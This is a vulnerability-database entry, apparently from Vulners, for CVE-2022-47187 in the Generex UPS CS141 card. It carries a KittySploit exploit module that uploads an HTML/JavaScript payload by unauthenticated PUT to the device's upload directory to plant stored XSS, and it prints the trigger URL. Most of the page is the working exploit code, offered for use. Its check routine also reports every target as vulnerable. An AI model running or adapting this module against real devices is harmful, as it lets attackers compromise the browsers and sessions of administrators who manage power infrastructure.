Lucene search
+L

Generex CS141 CVE-2022-47187 - XSS via File Upload

🗓️ 17 Apr 2026 09:19:04Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 5 Views

Unauthenticated upload of HTML content in Generex UPS CS141 allows stored XSS.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2022-47187
6 Mar 202318:07
–circl
cnnvd
CNNVD
Generex CS141 Cross-Site Scripting Vulnerability
28 Sep 202300:00
–cnnvd
cve
CVE
CVE-2022-47187
28 Sep 202313:30
–cve
cvelist
Cvelist
CVE-2022-47187 File upload XSS vulnerability in Generex CS141
28 Sep 202313:30
–cvelist
euvd
EUVD
EUVD-2022-49962
3 Oct 202520:07
–euvd
kitploit
Kitploit
Thunderstorm - Modular Framework To Exploit UPS Devices
6 Mar 202311:30
–kitploit
kitploit
Kitploit
Thunderstorm
15 Oct 202617:59
–kitploit
nvd
NVD
CVE-2022-47187
28 Sep 202314:15
–nvd
osv
OSV
CVE-2022-47187
28 Sep 202314:15
–osv
prion
Prion
Unrestricted file upload
28 Sep 202314:15
–prion
Rows per page
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.cs141 import CS141


class Module(Auxiliary, Http_client, CS141):
    __info__ = {
        "name": "Generex CS141 CVE-2022-47187 - XSS via File Upload",
        "description": (
            "Generex UPS CS141 below 2.06 allows unauthenticated upload of HTML content into the "
            "upload directory, enabling stored XSS when a victim opens the uploaded file."
        ),
        "author": ["JoelGMSec", "KittySploit Team"],
        "cve": "CVE-2022-47187",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-47187",
            "https://www.incibe-cert.es/en/early-warning/ics-advisories/update-03032023-multiple-vulnerabilities-generex-ups-cs141",
        ],
        "tags": ["cs141", "xss", "upload", "unauthenticated"],
    }

    remote_name = OptString("index.html", "Filename to place in the upload directory", required=True)
    xss_payload = OptString("<script>alert('XSS')</script>", "HTML/JS payload to upload", required=True)

    def check(self):
        return {
            "vulnerable": True,
            "reason": "CVE-2022-47187 depends on successfully placing an HTML file in /upload/.",
            "confidence": "low",
        }

    def run(self):
        upload_path = self.cs141_join_path(self.cs141_normalize_base_path(self.path), "upload", self.remote_name)
        response = self.http_request(
            method="PUT",
            path=upload_path,
            headers=self.cs141_unauth_upload_headers("text/html"),
            data=self.xss_payload,
            timeout=20,
        )

        if response and response.status_code in (201, 204):
            print_success(f"HTML payload uploaded to {upload_path}")
            print_info(f"Trigger URL: {upload_path}")
            return True

        print_error(f"XSS upload failed with HTTP {getattr(response, 'status_code', 'no-response')}")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2026 09:19Current
7.1High risk
Vulners AI Score7.1
CVSS 3.15.3 - 6.1
EPSS0.00387
SSVC
5